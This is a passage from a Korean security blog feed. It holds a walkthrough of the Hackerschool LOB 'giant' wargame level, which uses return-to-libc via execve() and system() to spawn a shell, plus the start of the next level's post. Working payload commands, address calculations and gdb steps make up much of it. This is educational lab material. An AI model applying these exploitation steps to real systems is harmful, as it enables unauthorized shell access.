&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제는 RET 부분에 덮어쓸 주소를 무조건 execve() 함수의 주소를 사용해야 하므로 \x48\x9d\x0a\x40를 payload에 사용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708056971031&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[execve() 함수의 주소] + [execve() 함수의 RET 부분] + [실행할 프로그램 이름의 포인터] + [인수 목록의 포인터] + [환경 변수 목록의 포인터]

\x48\x9d\x0a\x40 + &quot;bbbb&quot; + &amp;amp;&quot;/bin/sh&quot; + **argv + **envp&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;execve() 함수로 반환하도록 하기 위한 스택 구성은 위와같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;566&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sIq8c/btsEYIyhZeM/K3k2mUf7b9IokR3cW8Luhk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sIq8c/btsEYIyhZeM/K3k2mUf7b9IokR3cW8Luhk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sIq8c/btsEYIyhZeM/K3k2mUf7b9IokR3cW8Luhk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsIq8c%2FbtsEYIyhZeM%2FK3k2mUf7b9IokR3cW8Luhk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;566&quot; height=&quot;124&quot; data-origin-width=&quot;566&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708058320724&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;strings -tx /lib/libc.so.6 | grep /bin/sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;execve() 함수의 RET 부분은 dummy 값으로 채우면 되고, 실행할 프로그램은 셸이므로 &quot;/bin/sh&quot; 문자열이 담긴 주소를 입력하면 되는데, &quot;/bin/sh&quot; 문자열의 주소는 공유 라이브러리 안에 &quot;/bin/sh&quot; 문자열이 있기 때문에 해당 주소를 구해 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(libc의 주소 0x40018000과 &quot;/bin/sh&quot; 문자열의 offset주소 e3ff9를 더하면 0x400fbff9이다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708058487279&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[execve() 함수의 주소] + [execve() 함수의 RET 부분] + [실행할 프로그램 이름의 포인터] + [인수 목록의 포인터] + [환경 변수 목록의 포인터]

\x48\x9d\x0a\x40 + &quot;bbbb&quot; + \xf9\xbf\x0f\x40 + **argv + **envp&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그러면 현재 payload의 구성은 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이제 문제는 인수 목록의 포인터와 환경 변수의 포인터 부분이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 부분은 단순히 인수의 주소를 주는 것이 아니라 인수들이 담긴 배열의 포인터를 넘겨야 하므로 이중 포인터이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 부분을 해결하기 위해 고민하다가 다른 블로그 글을 참고했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708058855235&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;낮은 주소
...
local variables of main
saved registers of main
return address of main
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
...
높은 주소&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이전 레벨들에서 사용했던 방법 중 하나인데, 프로그램 이름을 &quot;\xf9\xbf\x0f\x40&quot;로 바꾸거나 심볼릭을 걸고, 스택 레이아웃을 보면 가장 높은 주소 쪽에 있는 program name 부분의 주소를 payload에 사용하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;인수 목록의 포인터는 argv[0], argv[1] ... 값들이 들어있는 배열의 포인터인데, 현재 문제를 풀기 위해서 다른 인자는 필요하지 않으므로 argv[0] 부분만 들어있는 배열의 포인터가 필요하고 위의 방법을 사용하면 program name 부분의 주소 -&amp;gt; \xf9\xbf\x0f\x40 -&amp;gt; &quot;/bin/sh&quot;이므로 이중 포인터 형태이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(argv[0]은 현재 실행 중인 프로그램의 이름이 들어간다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 환경 변수의 포인터는 스택 레이아웃에서 program name 부분 다음에 있는 NULL 부분의 주소를 사용하거나 stack from startup code 전에 있는 envp 부분의 주소를 사용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(사실, 환경 변수의 포인터는 스택 레이아웃에서 program name 부분의 주소를 줘도 execve() 함수가 실행될만큼 현재는 중요하지 않다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4fCxu/btsEYYA4gmy/ei1UNSV8k2ozfMKz24cLVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4fCxu/btsEYYA4gmy/ei1UNSV8k2ozfMKz24cLVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4fCxu/btsEYYA4gmy/ei1UNSV8k2ozfMKz24cLVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4fCxu%2FbtsEYYA4gmy%2Fei1UNSV8k2ozfMKz24cLVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1027&quot; height=&quot;360&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;469&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/djAZU1/btsETTBxFAz/1OlLAkI1d73loZz1JXnrT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/djAZU1/btsETTBxFAz/1OlLAkI1d73loZz1JXnrT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/djAZU1/btsETTBxFAz/1OlLAkI1d73loZz1JXnrT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdjAZU1%2FbtsETTBxFAz%2F1OlLAkI1d73loZz1JXnrT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;469&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;469&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708061066663&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ln -s giant2 `python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'`

gdb -q `python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'`

b * main

r &quot;`python -c 'print &quot;a&quot; * 44 + &quot;\x48\x9d\x0a\x40&quot; + &quot;b&quot; * 4 + &quot;\xf9\xbf\x0f\x40&quot; + &quot;a&quot; * 8'`&quot;

x/40x $esp

x/140s 0xbffffce0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;program name 부분의 주소를 알아내기 위해 giant2에 심볼릭을 건 후 gdb로 열어 테스트 할 payload를 인자로 주며 실행한 후 환경 변수 배열의 포인터 주소를 기준으로 하여 스택을 보면 0xbfffffe9 주소에 프로그램 이름이 들어가 있는데 총 18byte이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이때 gdb에서 볼 때는 프로그램의 이름이 심볼릭 링크로 인해 절대 주소로 바뀌어 스택에 들어가므로 0xbfffffe9 주소에 프로그램 이름이 있지만, 실제 payload를 적용할 때 프로그램 이름의 길이는 4byte 이므로 프로그램 이름의 길이에 따라 스택 주소가 변하므로 이 부분을 계산하여 사용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그렇다면 프로그램 이름의 길이가 18byte일 때 주소는 0xbfffffe9이고, 실제 payload에서는 프로그램 이름의 길이가 4byte(&quot;\xf9\xbf\x0f\x40&quot;)이므로 18byte에서 4byte로 길이가 짧아졌으므로 스택 주소는 반대로 커지고, 그러므로&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;0xbfffffe9 주소에 14(18byte - 4byte)를 더하면 0xbffffff7이 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;참고)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;gdb에서 커맨드라인 인자를 주어 실행할 때 쌍따옴표로 감싸서 인자를 넘긴 이유는 \x0a가 셸에서 개행으로 인식하기 때문이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;payload를 수정하여 실행할 때도 쌍따옴표로 감싸서 실행해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1373&quot; data-origin-height=&quot;180&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWWE2j/btsEYO6v428/NgaZKILyL7nIwuzgMRPI8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWWE2j/btsEYO6v428/NgaZKILyL7nIwuzgMRPI8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWWE2j/btsEYO6v428/NgaZKILyL7nIwuzgMRPI8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWWE2j%2FbtsEYO6v428%2FNgaZKILyL7nIwuzgMRPI8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1373&quot; height=&quot;180&quot; data-origin-width=&quot;1373&quot; data-origin-height=&quot;180&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708062919584&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;rm `python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'`

ln -s giant `python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'`

./`python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'` &quot;`python -c 'print &quot;a&quot; * 44 + &quot;\x48\x9d\x0a\x40&quot; + &quot;b&quot; * 4 + &quot;\xf9\xbf\x0f\x40&quot; + &quot;\xf7\xff\xff\xbf&quot; + &quot;\xfc\xff\xff\xbf&quot;'`&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;payload를 수정한 뒤 심볼릭 링크를 giant에 걸고 실행하면 giant의 password one step closer를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1373&quot; data-origin-height=&quot;180&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvMggL/btsEXpzpK0D/hG539vwgi2kRPHWugTgrZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvMggL/btsEXpzpK0D/hG539vwgi2kRPHWugTgrZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvMggL/btsEXpzpK0D/hG539vwgi2kRPHWugTgrZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvMggL%2FbtsEXpzpK0D%2FhG539vwgi2kRPHWugTgrZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1373&quot; height=&quot;180&quot; data-origin-width=&quot;1373&quot; data-origin-height=&quot;180&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708062991623&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;rm `python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'`

ln -s giant `python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'`

./`python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'` &quot;`python -c 'print &quot;a&quot; * 44 + &quot;\x48\x9d\x0a\x40&quot; + &quot;b&quot; * 4 + &quot;\xf9\xbf\x0f\x40&quot; + &quot;\xf7\xff\xff\xbf&quot; + &quot;\xf7\xff\xff\xbf&quot;'`&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위와 같이 **argv와 **envp 부분을 동일하게 줘도 잘 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;다른 방식으로 공격&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;다른 방식의 공격으로는 execve()함수의 주소를 입력은 하지만 execve() 함수의 RET 부분을 이용하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708063800804&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;\x48\x9d\x0a\x40 + [system 함수의 주소] + [system 함수의 RET 부분] + \xf9\xbf\x0f\x40&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이는 system() 함수로 반환하도록 하여 셸을 실행시키는 것으로 스택 구조는 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;487&quot; data-origin-height=&quot;70&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuEEOc/btsEYIFqkhO/fAULjpyMKdMkVbJx8I27H1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuEEOc/btsEYIFqkhO/fAULjpyMKdMkVbJx8I27H1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuEEOc/btsEYIFqkhO/fAULjpyMKdMkVbJx8I27H1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuEEOc%2FbtsEYIFqkhO%2FfAULjpyMKdMkVbJx8I27H1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;487&quot; height=&quot;70&quot; data-origin-width=&quot;487&quot; data-origin-height=&quot;70&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;libc의 주소 0x40018000에 system() 함수의 offset 주소 40ae0을 더하면 0x40058ae0이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1130&quot; data-origin-height=&quot;146&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKQJnP/btsETYXnOBA/AKjdx2QETeeQoWTkQns4f0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKQJnP/btsETYXnOBA/AKjdx2QETeeQoWTkQns4f0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKQJnP/btsETYXnOBA/AKjdx2QETeeQoWTkQns4f0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKQJnP%2FbtsETYXnOBA%2FAKjdx2QETeeQoWTkQns4f0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1130&quot; height=&quot;146&quot; data-origin-width=&quot;1130&quot; data-origin-height=&quot;146&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708064392800&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./giant &quot;`python -c 'print &quot;a&quot; * 44 + &quot;\x48\x9d\x0a\x40&quot; + &quot;\xe0\x8a\x05\x40&quot; + &quot;b&quot; * 4 + &quot;\xf9\xbf\x0f\x40&quot;'`&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위와 같이 payload를 구성해 giant를 실행하면 된다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;[시행착오]&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1373&quot; data-origin-height=&quot;107&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dg21x9/btsEViaaEDr/WoS5aVfw2C8CSC2dykdywk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dg21x9/btsEViaaEDr/WoS5aVfw2C8CSC2dykdywk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dg21x9/btsEViaaEDr/WoS5aVfw2C8CSC2dykdywk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdg21x9%2FbtsEViaaEDr%2FWoS5aVfw2C8CSC2dykdywk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1373&quot; height=&quot;107&quot; data-origin-width=&quot;1373&quot; data-origin-height=&quot;107&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708063309929&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;rm `python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'`
ln -s giant `python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'`
./`python -c 'print &quot;\xf9\xbf\x0f\x40&quot;'` &quot;`python -c 'print &quot;a&quot; * 44 + &quot;\x48\x9d\x0a\x40&quot; + &quot;b&quot; * 4 + &quot;\xf9\xbf\x0f\x40&quot; + &quot;\xfc\xff\xff\xbf&quot; + &quot;\xfc\xff\xff\xbf&quot;'`&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;시스템 해킹을 하다 보면 execve(&quot;/bin/sh&quot;, NULL, NULL);과 같이 사용하여 공격할 때도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그래서 payload를 다시 수정하여 해보니 이 형태로 공격하는 건 안되는 것 같다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;popen :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://badayak.com/entry/C언어-파이프-생성-함수-popen&quot;&gt;https://badayak.com/entry/C언어-파이프-생성-함수-popen&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;execve : &lt;a href=&quot;https://badayak.com/entry/C언어-다른-프로그램-실행-함수execve&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://badayak.com/entry/C언어-다른-프로그램-실행-함수execve&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;awk : &lt;a href=&quot;https://recipes4dev.tistory.com/171&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://recipes4dev.tistory.com/171&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;execve()를 이용해 풀이 : &lt;a href=&quot;https://plummmm.tistory.com/92&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://plummmm.tistory.com/92&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&quot;&quot; 더블 쿼터를 사용해야 하는 이유 : &lt;a href=&quot;https://liveyourit.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://liveyourit.tistory.com/143&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;execve(&quot;/bin/sh&quot;, NULL, NULL) : &lt;a href=&quot;https://powerco3e-lch.tistory.com/53&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://powerco3e-lch.tistory.com/53&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>전쟁/hackerschool lob Redhat 6.2</category>
      <author>Sean(slay)</author>
      <guid isPermaLink="true">https://sean.tistory.com/492</guid>
      <comments>https://sean.tistory.com/492#entry492comment</comments>
      <pubDate>Fri, 16 Feb 2024 15:26:23 +0900</pubDate>
    </item>
    <item>
      <title>[hackerschool lob redhat] LEVEL13 (darkknight -&amp;gt; bugbear) : RTL1(gdb로 디버깅 중에 셸 명령어 실행하는 법, 메모리맵으로 사용 중인 공유 라이브러리 확인하는 법)</title>
      <link>https://sean.tistory.com/491</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;login as : darkknight&lt;br /&gt;password : new attacker&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 확인&lt;/b&gt;&lt;/h2&gt;
